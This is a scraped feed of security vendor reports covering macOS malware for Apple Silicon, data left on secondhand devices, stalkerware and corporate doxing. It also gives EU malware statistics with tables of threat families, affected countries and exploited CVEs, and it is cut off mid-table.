architecture.\n\nThese include the developers of XCSSET, malware [first discovered last year](<https://www.trendmicro.com/en_us/research/20/h/xcsset-mac-malware--infects-xcode-projects--uses-0-days.html>), which targets Mac developers by injecting a malicious payload into Xcode IDE projects on the victim's Mac. This payload is subsequently executed during the building of project files in Xcode. XCSSET modules are able to read and dump Safari cookies, inject malicious JavaScript code into various websites, steal files and information from applications such as Notes, WeChat, Skype, Telegram and others, and encrypt files. The samples we have observed include some compiled specifically for the Apple Silicon chips.\n\nSilver Sparrow is [another new threat](<https://redcanary.com/blog/clipping-silver-sparrows-wings/>) that targets the M1 chip. This malware introduces a new way for malware writers to abuse the default packaging functionality: instead of placing a malicious payload inside pre-install or post-install scripts, they hid one in the Distribution XML file. This payload uses JavaScript API to run bash commands in order to download a JSON configuration file. The sample extracts a URL from the "downloadURL" field for the next download. An appropriate Launch Agent is also created for persistent execution of the malicious sample. The JavaScript payload can be executed regardless of chip architecture, but analysis of the package file makes it clear that it supports both Intel and M1 chips.\n\nMost malicious objects detected for the macOS platform are adware. The developers of these programs are also updating their code to include support for the M1 chip, including the Pirrit and Bnodlero families.\n\nYou can find technical details, along with our FAQ on M1 threats, [here](<https://securelist.com/malware-for-the-new-apple-silicon-platform/101137/>).\n\nCybercriminals don't just add support for new platforms: sometimes they use new programming languages to develop their 'products'. Recently, macOS adware developers have been paying more attention to new languages, apparently in the hope that such code will be more opaque to virus analysts who have little or no experience with the newer languages. We have already seen quite a few samples written in Go, and recently cybercriminals have turned their attention to Rust as well. You can read our analysis of a new adware program called Convuster [here](<https://securelist.com/convuster-macos-adware-in-rust/101258/>).\n\n### Secondhand news\n\nThere's a strong market in secondhand computing devices. Some of our researchers recently looked at [the security implications of buying and selling secondhand devices](<https://www.kaspersky.com/blog/data-on-used-devices/38610/>): their aim was to see what traces are left behind on laptops and other storage data when people sell them.\n\nThe overwhelming majority of the devices we investigated contained at least some traces of data \u2013 mostly personal but some corporate. Researchers were able to access data on more than 16% of the devices outright. A further 74% contained data that could be recovered using [file-carving](<https://en.wikipedia.org/wiki/File_carving>) methods. Only 11% of devices had been wiped properly.\n\nThe data recovered ranged from the harmless to revealing and even dangerous: calendar entries, meeting notes, access data for corporate resources, internal business documents, personal photos, medical information, tax documents and more. Some of the data could be used directly \u2013 for example, contact information, tax documents and medical records (or access to them through saved passwords). Other data could lead to indirect damage if exploited by cybercriminals.\n\nAside from the data that could be exposed, there's also a risk that malware left on a device could infect the new owner. We found malware on 17% of the devices we looked at.\n\nSellers need to consider what traces they might leave behind when they sell a device; and buyers need to think about the security of any secondhand device they buy.\n\nThe UK National Cyber Security Centre (NCSC) provides good [practical advice for buyers and sellers](<https://www.ncsc.gov.uk/guidance/buying-selling-second-hand-devices>).\n\n### Stalkerware during the pandemic\n\n[Stalkerware](<https://csr.kaspersky.com/en/antistalking/eng.html>) is commercially available software used to spy on another person via their device, without that person's knowledge or consent. Stalkerware is the digital tip of a very real-world iceberg. In a 2017 report, the European Institute for Gender Equality indicates that seven out of 10 women affected by online stalking have experienced physical violence at the hands of the perpetrator. The [Coalition Against Stalkerware](<https://stopstalkerware.org/>) defines stalkerware as software which "may facilitate intimate partner surveillance, harassment, abuse, stalking, and/or violence".\n\nThe number of people affected by stalkerware has been growing in recent years. We saw a fall in numbers in 2020, the drop-off coinciding with the worldwide lockdowns that came in the wake of the COVID-19 pandemic. This is hardly surprising: since stalking is typically carried out by someone the target lives with, if both abuser and target are housebound, there is less need to use technology to track someone's activities. Notwithstanding the _relative_ decline, 53,870 is a big number. Moreover, these are numbers of Kaspersky customers: no doubt the real figure is considerably higher.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/02/26124943/01-en-stalkerware-report.png>)The most commonly detected stalkerware sample in 2020 was Monitor.AndroidOS.Nidb.a. This app is re-sold under other names, so it is prominent in the market \u2013 iSpyoo, TheTruthSpy and Copy9 apps are all part of this family. Another popular application is Cerberus, which is sold as anti-theft smartphone protection and hides itself to avoid notice. Like genuine phone-finding apps, Cerberus has access to geo-location, can take photos and screenshots and record sound. Other high-ranking stalking apps include Track My Phone (which we detect as Agent.af), MobileTracker and Anlost.\n\n**Top 10 most detected stalkerware samples globally**\n\n| Samples | Affected users \n---|---|--- \n1 | Monitor.AndroidOS.Nidb.a | 8147 \n2 | Monitor.AndroidOS.Cerberus.a | 5429 \n3 | Monitor.AndroidOS.Agent.af | 2727 \n4 | Monitor.AndroidOS.Anlost.a | 2234 \n5 | Monitor.AndroidOS.MobileTracker.c | 2161 \n6 | Monitor.AndroidOS.PhoneSpy.b | 1774 \n7 | Monitor.AndroidOS.Agent.hb | 1463 \n8 | Monitor.AndroidOS.Cerberus.b | 1310 \n9 | Monitor.AndroidOS.Reptilic.a | 1302 \n10 | Monitor.AndroidOS.SecretCam.a | 1124 \n \nThe greatest number of stalkerware detections occurred in Russia, Brazil and the US.\n\n**Top 10 most affected countries by stalkerware \u2013 globally**\n\n| Country | Affected users \n---|---|--- \n1 | Russian Federation | 12389 \n2 | Brazil | 6523 \n3 | United States of America | 4745 \n4 | India | 4627 \n5 | Mexico | 1570 \n6 | Germany | 1547 \n7 | Iran | 1345 \n8 | Italy | 1144 \n9 | United Kingdom | 1009 \n10 | Saudi Arabia | 968 \n \nYou can read our full report on the subject [here](<https://securelist.com/the-state-of-stalkerware-in-2020/100875/>).\n\nStalkerware operates stealthily, so it's difficult for anyone targeted with such programs to see that it's installed on their device \u2013 they hide the app's icon and remove other traces of their presence.\n\nKaspersky is actively working to end the use of stalkerware, not just by detecting it but by working with partners. In 2019, Kaspersky and nine other founding members created the [Coalition Against Stalkerware](<https://stopstalkerware.org/>). Last year, we created [TinyCheck](<https://github.com/KasperskyLab/TinyCheck>), a free tool to detect stalkerware on mobile devices \u2013 specifically for service organizations working with people facing domestic violence. We are one of five partners in an EU-wide project aimed at tackling gender-based cyber-violence and stalkerware called DeStalk, which the European Commission chose to support with its Rights, Equality and Citizenship Program.\n\n### Doxing in the corporate sector\n\nWhen most people think of [doxing](<https://encyclopedia.kaspersky.com/glossary/doxxing/?utm_source=securelist&utm_medium=blog&utm_campaign=termin-explanation>), they tend to think it applies only to celebrities and other high-profile people. However, confidential corporate information is no less sensitive; and the financial and reputational impact resulting from the disclosure of such data means that any organization could become a victim of doxing. This is clear, for example, from the fact that several ransomware gangs now threaten to leak stolen corporate data to increase the likelihood that their victims will pay up.\n\nCybercriminals use a variety of methods to gather confidential corporate information.\n\nOne of the easiest approaches is to use open-source intelligence (OSINT) \u2013 that is, gathering data from publicly accessible sources. The internet provides a lot of helpful information to would-be attackers, including the names and positions of employees, including those who occupy key positions in the company: for example, the CEO, HR director and chief financial officer.\n\nInformation harvested from the online personal profiles of employees can be used to set up [BEC](<https://encyclopedia.kaspersky.com/glossary/bec/?utm_source=securelist&utm_medium=blog&utm_campaign=termin-explanation>) (Business Email Compromise) attacks, in which an attacker initiates email correspondence with a member of staff by posing as a different employee (including their superior) or as a representative of a partner company. The attacker does this to gain the trust of the target before persuading them to perform certain actions, such as sending confidential data or transferring funds to an account controlled by the attacker.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/03/26124957/Corporate_doxing_01.png>)\n\nBEC attacks can also be used to collect further information about the company, or to gain access to valuable corporate data, or access to company resources \u2013 for example, credentials allowing access to cloud-based systems. \nThere are various technical tricks that cybercriminals use to obtain information relevant to their particular goals, including sending [email messages containing a tracking pixel](<https://www.kaspersky.com/blog/tracking-pixel-bec/36976/>) \u2013 often disguised as a "test" message.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/03/26125040/Corporate_doxing_02.png>)\n\nThis enables attackers to obtain data such as the time the email was opened, the version of the recipient's mail client and the IP address. This data lets the attackers build a profile on a specific person who they can then impersonate in subsequent attacks.\n\nPhishing continues to be an effective way for attackers to gather corporate data. For example, they may send an employee a message that mimics a notification from a business platform such as SharePoint, which contains a link.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/03/26125148/Corporate_doxing_04.jpg>)\n\nIf the employee clicks the link, they are redirected to a spoofed website containing a fraudulent form for entering their corporate account credentials \u2013 data which is captured by the attackers.\n\nSometimes cybercriminals resort to phone phishing \u2013 either by calling an employee directly and trying to "phish" corporate information, or sending a message and asking them to call the number given in the message. One way to trick employees is to pose as IT support staff \u2013 this method was used in the [Twitter hack](<https://www.dfs.ny.gov/Twitter_Report>) in July 2020.\n\n> By obtaining employee credentials, they were able to target specific employees who had access to our account support tools. They then targeted 130 Twitter accounts - Tweeting from 45, accessing the DM inbox of 36, and downloading the Twitter Data of 7.\n> \n> -- Twitter Support (@TwitterSupport) [July 31, 2020](<https://twitter.com/TwitterSupport/status/1289000208701878272?ref_src=twsrc%5Etfw>)\n\nAttackers may not confine themselves to gathering publicly available data, but may also hack an employee's account. This could be used to gain a foothold in the company, from which they can extend their activities, or to circulate false information that could damage the company's reputation and result in financial loss. There has even been a case where cybercriminals have obtained audio and video content of the CEO of an international company and [used deepfake technology to imitate the CEO's voice](<https://www.kaspersky.com/blog/machine-learning-fake-voice/28870/>), using it to persuade the management team of one of the company's branches to transfer money to the scammers.\n\nYou can read our full report on doxing, including tips on how to protect yourself, [here](<https://securelist.com/corporate-doxing/101513/>).", "cvss3": {}, "published": "2021-05-31T10:00:37", "type": "securelist", "title": "IT threat evolution Q1 2021", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2019-5544", "CVE-2020-3992", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065"], "modified": "2021-05-31T10:00:37", "id": "SECURELIST:A823F31C04C74DD103337324E6D218C9", "href": "https://securelist.com/it-threat-evolution-q1-2021/102382/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-05-26T10:37:33", "description": "\n\n_All statistics in this report are from the global cloud service Kaspersky Security Network (KSN), which receives information from components in our security solutions. The data was obtained from users who have given their consent to it being sent to KSN. Millions of Kaspersky users around the globe assist us in this endeavor to collect information about malicious activity. The statistics in this report cover the period from May 2020 to April 2021, inclusive._\n\n## Main figures\n\n * **70% **of Internet user computers in the EU experienced at least one **Malware-class** attack.\n * In the EU, Kaspersky solutions blocked **115,452,157** web attacks.\n * **2,676,988 **unique URLs were recognized as malicious by our Web Anti-Virus.\n * **377,685 **unique malicious objects were blocked by our Web Anti-Virus.\n * Attempted infections by malware designed to steal money via online access to bank accounts were logged on the devices of **79,315** users.\n * **56,877 **unique users in the EU were attacked by ransomware.\n * **132,656 **unique users in the EU were attacked by miners.\n * **40%** users of Kaspersky solutions in the EU encountered at least one phishing attack.\n * **86,584,675** phishing attempts were blocked by Kaspersky solutions in the EU.\n\n## Financial threats\n\n_The statistics include not only banking threats, but malware for ATMs and payment terminals._\n\n### Number of users attacked by banking malware\n\nDuring the reporting period, Kaspersky solutions blocked attempts to launch one or more malicious programs designed to steal money from bank accounts on the computers of **79,315** users.\n\n_Number of EU users attacked by financial malware, May 2020 \u2013 April 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/19124132/01-en-european-ksb-2021.png>))_\n\n### Threat geography\n\nTo evaluate and compare the risk of being infected by banking Trojans and ATM/POS malware, for each EU country we calculated the share of users of Kaspersky products who faced this threat during the reporting period as a percentage of all attacked users in that country.\n\n_Geography of banking malware attacks in the EU, May 2020 \u2013 April 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/19124226/02-en-european-ksb-2021.png>))_\n\n**Top 10 EU countries by share of attacked users **\n\n| **Country** | **%*** \n---|---|--- \n1 | Cyprus | 1.3 \n2 | Bulgaria | 1.2 \n3 | Greece | 1.1 \n4 | Italy | 1.0 \n5 | Portugal | 1.0 \n6 | Croatia | 0.8 \n7 | Germany | 0.6 \n8 | Latvia | 0.6 \n9 | Poland | 0.6 \n10 | Romania | 0.6 \n \n_* The share of unique users in the EU whose computers were targeted by financial malware in the total number of unique EU users attacked by all kinds of malware._\n\n**Top 10 financial malware families**\n\n| **Name** | **%*** \n---|---|--- \n1 | Zbot | 24.7 \n2 | Nymaim | 11.5 \n3 | Danabot | 9.9 \n4 | Emotet | 8.9 \n5 | CliptoShuffler | 7.7 \n6 | BitStealer | 5.6 \n7 | SpyEyes | 3.5 \n8 | Gozi | 3.4 \n9 | Dridex | 3.2 \n10 | Trickster | 1.9 \n \n_* The share of unique users in the EU attacked by this malware in the total number of users attacked by financial malware._\n\n## Ransomware programs\n\nDuring the reporting period, we identified more than **17,317 **ransomware modifications and detected **25** new families. Note that we did not create a separate family for each new piece of ransomware. Most threats of this type were assigned the generic verdict, which we give to new and unknown samples.\n\n_Number of new ransomware modifications detected in the EU, May 2020 \u2013 April 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/19124303/03-en-european-ksb-2021.png>))_\n\n### Number of users attacked by ransomware Trojans\n\nDuring the reporting period, ransomware Trojans attacked **56,877** unique users, including **12,358** corporate users (excluding SMBs) and **2,274** users associated with small and medium-sized businesses.\n\n_Number of users in the EU attacked by ransomware Trojans, May 2020 \u2013 April 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/19124332/04-en-european-ksb-2021.png>))_\n\n### Threat geography\n\n_Geography of attacks in the EU by ransomware Trojans, May 2020 \u2013 April 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/19124520/05-en-european-ksb-2021.png>))_\n\n**Top 10 EU countries by share of attacked users **\n\n| **Country** | **%*** \n---|---|--- \n1 | Greece | 0.56 \n2 | Cyprus | 0.38 \n3 | Portugal | 0.36 \n4 | Bulgaria | 0.31 \n5 | Hungary | 0.29 \n6 | Italy | 0.29 \n7 | Latvia | 0.28 \n8 | Slovenia | 0.27 \n9 | Spain | 0.26 \n10 | Estonia | 0.23 \n \n_* The share of unique users in the EU country whose computers were targeted by ransomware in the total number of unique users in that country attacked by all kinds of malware._\n\n### Top 10 most common families of ransomware Trojans\n\n| **Name** | **Verdict** | **%*** \n---|---|---|--- \n1 | (generic verdict) | Trojan-Ransom.Win32.Gen | 14.40 \n2 | (generic verdict) | Trojan-Ransom.Win32.Agent | 12.58 \n3 | (generic verdict) | Trojan-Ransom.Win32.Encoder | 10.80 \n4 | (generic verdict) | Trojan-Ransom.Win32.Generic | 5.94 \n5 | Stop | Trojan-Ransom.Win32.Stop | 3.87 \n6 | WannaCry | Trojan-Ransom.Win32.Wanna | 3.20 \n7 | (generic verdict) | Trojan-Ransom.Win32.Crypmod | 2.31 \n8 | (generic verdict) | Trojan-Ransom.Win32.Crypren | 2.30 \n9 | REvil/Sodinokibi | Trojan-Ransom.Win32.Sodin | 1.97 \n10 | (generic verdict) | Trojan-Ransom.Win32.Cryptor | 1.85 \n \n_* The share of unique Kaspersky users attacked by the given family of ransomware Trojans in the total number of users attacked by ransomware Trojans._\n\n## Miners\n\n### Number of users attacked by miners in the EU\n\nDuring the reporting period, we detected attempts to install a miner on the computers of **132,656** unique users. Miners accounted for 0.53% of all attacks and 10.31% of all Risktool-type programs\n\n_Number of EU users attacked by miners, May 2020 \u2013 April 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/19124550/06-en-european-ksb-2021.png>))_\n\nDuring the reporting period, Kaspersky products detected Trojan.Win32.Miner.gen (generic verdict) more often than others, which accounted for 13.62% of all users attacked by miners. It was followed by Trojan.Win32.Miner.bbb (8.67%) and Trojan.JS.Miner.m (2.84%).\n\n### Threat geography\n\n_Geography of miner-related attacks in the EU, May 2020 \u2013 April 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/19124619/07-en-european-ksb-2021.png>))_\n\n## Vulnerable applications used by cybercriminals\n\nIn 2020, most vulnerabilities were discovered by researchers before attackers could exploit them. However, there was no doing without zero-day vulnerabilities, of which Kaspersky found:\n\n * CVE-2020-1380, a use-after-free vulnerability in the Jscript9 component of Microsoft's Internet Explorer browser caused by insufficient checks during the generation of optimized JIT code. This vulnerability was most likely used by the APT group [DarkHotel](<https://securelist.com/the-darkhotel-apt/66779/>) at the first stage of system compromise, after which the payload was delivered by an additional exploit that escalated privileges in the system;\n * CVE-2020-0986 in the GDI Print/Print Spooler component of Microsoft's Windows operating system, enabling manipulation of process memory for arbitrary code execution in the context of a system service process. Exploitation of this vulnerability gives attackers the ability to bypass sandboxes, for example, in the browser.\n\nThe first quarter of 2021 turned out to be rich not only in well-known vulnerabilities, but also in zero-day ones. In particular, both [IT security specialists](<https://securelist.com/zero-day-vulnerabilities-in-microsoft-exchange-server/101096/>) and cybercriminals showed great interest in the new Microsoft Exchange Server vulnerabilities:\n\n * [CVE-2021-26855](<https://msrc.microsoft.com/update-guide/en-us/vulnerability/CVE-2021-26855>) \u2014 a Service-Side Request Forgery vulnerability that allows an attacker to make a forged server request and execute arbitrary code (RCE);\n * [CVE-2021-26857](<https://msrc.microsoft.com/update-guide/en-us/vulnerability/CVE-2021-26857>) \u2014 insecure object deserialization by the Unified Messaging service, which can lead to arbitrary code execution on the server side;\n * [CVE-2021-26858](<https://msrc.microsoft.com/update-guide/en-us/vulnerability/CVE-2021-26858>) \u2014 allows an attacker to write data to server files, which can also lead to remote code execution;\n * [CVE-2021-27065](<https://msrc.microsoft.com/update-guide/en-us/vulnerability/CVE-2021-27065>) \u2014 similar to [CVE-2021-26858](<https://msrc.microsoft.com/update-guide/en-us/vulnerability/CVE-2021-26858>), this vulnerability allow an authorized Microsoft Exchange user to write arbitrary code to system files.\n\nThese vulnerabilities were found [in-the-wild](<https://encyclopedia.kaspersky.com/glossary/exploitation-in-the-wild-itw/?utm_source=securelist&utm_medium=blog&utm_campaign=termin-explanation>) and had been used by APT and ransomware groups.\n\nOne more constellation of vulnerabilities that appeared in the infosec sky was a threesome of critical bugs in the popular SolarWinds Orion Platform \u2013 [CVE-2021-25274](<https://nvd.nist.gov/vuln/detail/CVE-2021-25274>), [CVE-2021-25275](<https://nvd.nist.gov/vuln/detail/CVE-2021-25275>), [CVE-2021-25276](<https://nvd.nist.gov/vuln/detail/CVE-2021-25276>). Successful exploitation of any of them can cause infection of the system where the platform is installed (mostly, enterprise and government PCs).\n\n_Distribution of exploits used in attacks by type of application attacked, May 2020 \u2013 April 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/19124650/08-en-european-ksb-2021.png>))_\n\n_The rating of vulnerable applications is based on verdicts by Kaspersky products for blocked exploits used by cybercriminals both in network attacks and in vulnerable local apps, including on users' mobile devices._\n\nNetwork attacks were the most common method of system penetration, and a significant portion of them is made up of brute-force attacks on various network services: [RDP](<https://securelist.com/remote-spring-the-rise-of-rdp-bruteforce-attacks/96820/>), Microsoft SQL Server, etc. In addition, the year gone by demonstrated that everything in the Windows operating system is cyclical, and that most of the detected vulnerabilities exist in the same services, for example, in the drivers of the SMB (SMBGhost, SMBBleed), DNS (SigRed) and ICMPv6 (BadNeighbor) network protocols. Two critical vulnerabilities (CVE-2020-0609, CVE-2020-0610) were found in the Remote Desktop Gateway service. An interesting vulnerability, dubbed Zerologon, was also discovered in the NetLogon service. In Q1 2021, researchers found three new vulnerabilities in Windows network stack code related to IPv4/IPv6 protocols processing \u2014 [CVE-2021-24074](<https://msrc.microsoft.com/update-guide/en-us/vulnerability/CVE-2021-24074>), [CVE-2021-24086](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-24086>) and [CVE-2021-24094](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-24094>). Lastly, despite the fact that exploits for the EternalBlue and EternalRomance families are old, they are still used by attackers.\n\n## Attacks on macOS\n\n**Top 20 threats for macOS**\n\n| **Verdict** | **%*** \n---|---|--- \n1 | Monitor.OSX.HistGrabber.b | 14.50 \n2 | AdWare.OSX.Bnodlero.at | 12.04 \n3 | AdWare.OSX.Bnodlero.ay | 11.42 \n4 | AdWare.OSX.Bnodlero.ax | 10.56 \n5 | AdWare.OSX.Bnodlero.bg | 9.18 \n6 | Trojan-Downloader.OSX.Shlayer.a | 8.06 \n7 | AdWare.OSX.Pirrit.j | 6.23 \n8 | AdWare.OSX.Pirrit.ac | 6.05 \n9 | AdWare.OSX.Ketin.h | 5.30 \n10 | AdWare.OSX.Bnodlero.t | 4.94 \n11 | AdWare.OSX.Bnodlero.av | 4.82 \n12 | Trojan-Downloader.OSX.Agent.h | 4.48 \n13 | AdWare.OSX.Pirrit.o | 4.35 \n14 | AdWare.OSX.Cimpli.k | 3.75 \n15 | AdWare.OSX.Pirrit.gen | 3.75 \n16 | AdWare.OSX.Pirrit.aa | 3.58 \n17 | AdWare.OSX.Ketin.m | 3.22 \n18 | AdWare.OSX.Pirrit.q | 3.20 \n19 | AdWare.OSX.Ketin.l | 3.13 \n20 | AdWare.OSX.Spc.a | 2.87 \n \n_* The share of unique users who encountered this threat in the total number of users of Kaspersky security solutions for macOS who were attacked._\n\n### Threat geography\n\n_Geography of attacked macOS users in EU, May 2020 \u2013 April 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/19124726/09-en-european-ksb-2021.png>))_\n\n**Top 10 EU countries by share of attacked macOS users **\n\n| **Country** | **%*** \n---|---|--- \n1 | France | 15.32 \n2 | Spain | 13.99 \n3 | Italy | 11.43 \n4 | Portugal | 9.75 \n5 | Greece | 9.59 \n6 | Germany | 9.41 \n7 | Hungary | 8.60 \n8 | Lithuania | 8.14 \n9 | Poland | 8.10 \n10 | Belgium | 7.94 \n \n_* The share of unique users attacked in the total number of users of Kaspersky security solutions for macOS in the country._\n\n## IoT attacks\n\n### IoT threat statistics\n\nDuring the reporting period, more than 80% of attacks on Kaspersky traps were carried out using the Telnet protocol.\n\nTelnet | 81.31% \n---|--- \nSSH | 18.69% \n \n_Distribution of attacked services by number of unique IP addresses of devices that carried out attacks, May 2020 \u2013 April 2021_\n\nAs for distribution of sessions, Telnet also prevails, accounting for three quarters of all working sessions.\n\nTelnet | 75.66% \n---|--- \nSSH | 24.34% \n \n_Distribution of cybercriminal working sessions with Kaspersky traps, May 2020 \u2013 April 2021_\n\nAs a result, devices that carried out attacks using the Telnet protocol were selected to build the map of attackers' IP addresses.\n\n_Geography of IP addresses of devices from which attempts were made to attack Kaspersky Telnet traps, May 2020 \u2013 April 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/19124758/10-en-european-ksb-2021.png>))_\n\n**Top 10 countries by location of devices from which attacks were carried out**\n\n| **Country** | **%*** \n---|---|--- \n1 | Greece | 26.84 \n2 | Italy | 18.55 \n3 | Germany | 7.92 \n4 | Spain | 7.46 \n5 | Poland | 5.66 \n6 | France | 5.60 \n7 | Romania | 5.52 \n8 | Sweden | 4.52 \n9 | Netherlands | 3.65 \n10 | Hungary | 2.95 \n \n_* The share of devices from which attacks were carried out in the given country in the total number of devices._\n\n### Malware loaded into honeypots\n\n| **Verdict** | **%*** \n---|---|--- \n1 | Backdoor.Linux.Mirai.b | 42.57 \n2 | Trojan-Downloader.Linux.NyaDrop.b | 20.96 \n3 | Backdoor.Linux.Mirai.ba | 9.79 \n4 | Backdoor.Linux.Gafgyt.a | 5.42 \n5 | Backdoor.Linux.Gafgyt.a | 2.74 \n6 | Backdoor.Linux.Gafgyt.bj | 1.44 \n7 | Trojan-Downloader.Shell.Agent.p | 1.31 \n8 | Backdoor.Linux.Agent.bc | 1.20 \n9 | Backdoor.Linux.Mirai.cw | 1.15 \n10 | Backdoor.Linux.Mirai.cn | 0.82 \n \n_* The share of malware type in the total number of malicious programs downloaded to IoT devices following a successful attack._\n\n## Attacks via web resources\n\n_The statistics in this section are based on Web Anti-Virus, which protects users when malicious objects are downloaded from malicious/infected web pages. Cybercriminals create such sites on purpose, and web resources with user-created content (for example, forums), as well as hacked legitimate resources, can be infected._\n\n### Countries that are sources of web-based attacks\n\n_The following statistics show the distribution by country of the sources of Internet attacks blocked by Kaspersky products on user computers (web pages with redirects to exploits, sites containing exploits and other malicious programs, botnet C&C centers, etc.). Any unique host could be the source of one or more web-based attacks._\n\n_To determine the geographical source of web-based attacks, domain names are matched against their actual domain IP addresses, and then the geographical location of the specific IP address (GeoIP) is established._\n\nKaspersky solutions in the EU blocked **115,452,157 **attacks launched from online resources across the globe. Moreover, 89.33% of these resources were located in just 10 countries.\n\n_Distribution of web attack sources by country, May 2020 \u2013 April 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/19124836/11-en-european-ksb-2021.png>))_\n\n### Countries where users faced the greatest risk of online infection\n\n_To assess the risk of online infection faced by EU users, for each country we calculated the percentage of Kaspersky users on whose computers Web Anti-Virus was triggered during the reporting period. The resulting data provides an indication of the aggressiveness of the environment in which computers operate in different countries._\n\nThis rating only includes attacks by malicious programs that fall under the Malware class; it does not include Web Anti-Virus detections of potentially dangerous or unwanted programs such as RiskTool or adware. Overall, during the reporting period, adware and its components were registered on **89.60%** of users' computers on which Web Anti-Virus was triggered.\n\n_Geography of malicious web-based attacks, May 2020 \u2013 April 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/19124905/12-en-european-ksb-2021.png>))_\n\nOn average, **13.70% **of Internet user computers in the EU experienced at least one Malware-class attack during the reporting period.\n\n**Top 10 EU countries where users faced the greatest risk of online infection**\n\n| **Country** | **%*** \n---|---|--- \n1 | Latvia | 21.11 \n2 | Greece | 18.50 \n3 | Estonia | 17.52 \n4 | France | 16.81 \n5 | Bulgaria | 14.86 \n6 | Italy | 14.76 \n7 | Portugal | 14.44 \n8 | Lithuania | 14.21 \n9 | Hungary | 13.82 \n10 | Poland | 13.17 \n \n_* The share of unique users targeted by Malware-class attacks in the total number of unique users of Kaspersky products in the country._\n\n### Top 20 malicious programs most actively used in online attacks\n\nDuring the reporting period, Kaspersky's Web Anti-Virus detected **377,685 **unique malicious objects (scripts, exploits, executable files, etc.), as well as **2,676,988 **unique malicious URLs on which Web Anti-Virus was triggered. Based on the collected data, we identified the 20 most actively used malicious programs in online attacks on users' computers.\n\n| **Verdict*** | **%**** \n---|---|--- \n1 | Blocked | 49.22 \n2 | Trojan.Script.Generic | 12.52 \n3 | Hoax.HTML.FraudLoad.m | 8.38 \n4 | Trojan.PDF.Badur.gen | 2.46 \n5 | Trojan.Script.Agent.dc | 2.16 \n6 | Trojan.Multi.Preqw.gen | 2.11 \n7 | Trojan-Downloader.Script.Generic | 1.99 \n8 | Trojan.Script.Miner.gen | 1.56 \n9 | Exploit.MSOffice.CVE-2017-11882.gen | 1.02 \n10 | Trojan-PSW.Script.Generic | 0.91 \n11 | DangerousObject.Multi.Generic | 0.74 \n12 | Trojan.BAT.Miner.gen | 0.74 \n13 | Trojan.MSOffice.SAgent.gen | 0.60 \n14 | Trojan.Script.SAgent.gen | 0.50 \n15 | Trojan-Downloader.MSOffice.SLoad.gen | 0.47 \n16 | Trojan-Downloader.Win32.Upatre.pef | 0.33 \n17 | Trojan-Downloader.JS.Inor.a | 0.30 \n18 | Trojan-Downloader.MSWord.Agent.btl | 0.30 \n19 | Hoax.Script.Dating.gen | 0.27 \n20 | Trojan-Downloader.JS.SLoad.gen | 0.27 \n \n_* Excluded from the list are HackTool-type threats._\n\n_** The share of attacks by the given malicious program in the total number of Malware-class web attacks registered on the computers of unique users of Kaspersky products._\n\n## Local threats\n\n_Statistics on local infections of user computers is an important indicator. They include objects that penetrated the target computer through infecting files or removable storage media, or initially made their way onto the computer in non-open form (for example, programs in complex installers, encrypted files, etc.). These statistics additionally include objects detected on user computers after the first system scan by Kaspersky's Anti-Virus application._\n\n_This section analyzes statistics produced by Anti-Virus scans of files on the hard drive at the moment they were created or accessed, as well as the results of scanning removable storage media._\n\n### Countries where users faced the highest risk of local infection\n\n_For each country in the EU, we calculated how often users there encountered a File Anti-Virus triggering during the year. Included are detections of objects found on user computers or removable media connected to them (flash drives, camera/phone memory cards, external hard drives). These statistics reflect the level of personal computer infection in different countries._\n\n_Geography of local infections by malware, May 2020 \u2013 April 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/19124941/13-en-european-ksb-2021.png>))_\n\nDuring the reporting period, on average, at least one piece of malware was detected on **18.77%** of computers, hard drives or removable media belonging to KSN users in the EU.\n\n**Top 10 EU countries where users faced the greatest risk of local infection**\n\n| **Country** | **%*** \n---|---|--- \n1 | Greece | 32.60 \n2 | Bulgaria | 31.55 \n3 | Latvia | 31.38 \n4 | Estonia | 29.48 \n5 | Hungary | 27.88 \n6 | Lithuania | 27.11 \n7 | Portugal | 26.01 \n8 | Cyprus | 25.43 \n9 | Italy | 24.64 \n10 | Spain | 23.57 \n \n_* The share of unique users on whose computers Malware-class local threats were blocked in the total number of unique users of Kaspersky products in the country._\n\n### Top 20 malicious objects detected on user computers\n\nWe identified the 20 most commonly detected threats on EU users' computers during the reporting period. Not included are Riskware-type programs and adware.\n\n| **Verdict*** | **%**** \n---|---|--- \n1 | DangerousObject.Multi.Generic | 19.45 \n2 | Trojan.Multi.BroSubsc.gen | 18.53 \n3 | Trojan.Script.Generic | 8.29 \n4 | Trojan.Multi.GenAutorunReg.a | 7.08 \n5 | Trojan.Multi.Misslink.a | 6.75 \n6 | Hoax.Win32.DriverToolKit.b | 2.77 \n7 | Trojan.MSOffice.SAgent.gen | 2.63 \n8 | Exploit.Script.Generic | 2.25 \n9 | Trojan.Win32.SEPEH.gen | 2.00 \n10 | Trojan-Downloader.Script.Generic | 1.91 \n11 | Worm.Win32.WBVB | 1.53 \n12 | Hoax.Win32.Uniblue.gen | 1.33 \n13 | Trojan.Script.Agent.gen | 1.29 \n14 | 